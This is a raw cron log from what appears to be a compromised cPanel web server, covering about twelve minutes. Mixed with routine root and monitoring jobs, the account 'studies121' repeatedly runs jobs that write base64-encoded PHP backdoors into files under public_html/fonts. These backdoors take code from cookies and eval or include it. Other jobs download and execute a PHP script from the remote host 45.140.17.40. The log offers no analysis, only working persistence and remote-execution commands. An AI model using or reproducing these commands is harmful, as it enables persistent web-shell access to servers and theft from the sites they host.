Sep 11 20:27:02 ip-184-168-122-23 CROND[32154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:27:02 ip-184-168-122-23 CROND[32155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:27:02 ip-184-168-122-23 CROND[32156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:28:01 ip-184-168-122-23 CROND[32248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:28:01 ip-184-168-122-23 CROND[32250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:28:01 ip-184-168-122-23 CROND[32251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:28:01 ip-184-168-122-23 CROND[32254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:28:01 ip-184-168-122-23 CROND[32253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:29:01 ip-184-168-122-23 CROND[32336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:29:01 ip-184-168-122-23 CROND[32339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:29:02 ip-184-168-122-23 CROND[32340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:29:02 ip-184-168-122-23 CROND[32341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:30:01 ip-184-168-122-23 CROND[32428]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:30:01 ip-184-168-122-23 CROND[32430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:30:01 ip-184-168-122-23 CROND[32431]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 20:30:01 ip-184-168-122-23 CROND[32432]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:30:01 ip-184-168-122-23 CROND[32433]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 11 20:30:01 ip-184-168-122-23 CROND[32434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:30:01 ip-184-168-122-23 CROND[32435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:30:01 ip-184-168-122-23 CROND[32437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:30:01 ip-184-168-122-23 CROND[32436]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:31:01 ip-184-168-122-23 CROND[32612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:31:01 ip-184-168-122-23 CROND[32613]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 20:31:01 ip-184-168-122-23 CROND[32615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:31:01 ip-184-168-122-23 CROND[32614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:31:01 ip-184-168-122-23 CROND[32616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:32:01 ip-184-168-122-23 CROND[32700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:32:01 ip-184-168-122-23 CROND[32703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:32:01 ip-184-168-122-23 CROND[32701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:32:01 ip-184-168-122-23 CROND[32702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:32:01 ip-184-168-122-23 CROND[32704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:33:01 ip-184-168-122-23 CROND[365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:33:01 ip-184-168-122-23 CROND[367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:33:01 ip-184-168-122-23 CROND[369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:33:01 ip-184-168-122-23 CROND[368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:34:01 ip-184-168-122-23 CROND[456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:34:01 ip-184-168-122-23 CROND[459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:34:01 ip-184-168-122-23 CROND[458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:34:01 ip-184-168-122-23 CROND[461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:34:01 ip-184-168-122-23 CROND[460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:35:01 ip-184-168-122-23 CROND[562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:35:01 ip-184-168-122-23 CROND[565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:35:01 ip-184-168-122-23 CROND[568]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:35:01 ip-184-168-122-23 CROND[564]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 20:35:01 ip-184-168-122-23 CROND[570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:35:01 ip-184-168-122-23 CROND[567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:35:01 ip-184-168-122-23 CROND[569]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 20:35:01 ip-184-168-122-23 CROND[571]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:36:01 ip-184-168-122-23 CROND[763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:36:01 ip-184-168-122-23 CROND[766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:36:01 ip-184-168-122-23 CROND[764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:36:01 ip-184-168-122-23 CROND[767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:36:01 ip-184-168-122-23 CROND[765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:37:01 ip-184-168-122-23 CROND[854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:37:01 ip-184-168-122-23 CROND[855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:37:01 ip-184-168-122-23 CROND[856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:37:01 ip-184-168-122-23 CROND[857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:38:01 ip-184-168-122-23 CROND[954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:38:01 ip-184-168-122-23 CROND[955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:38:01 ip-184-168-122-23 CROND[958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:38:01 ip-184-168-122-23 CROND[956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:38:01 ip-184-168-122-23 CROND[959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:39:01 ip-184-168-122-23 CROND[1048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
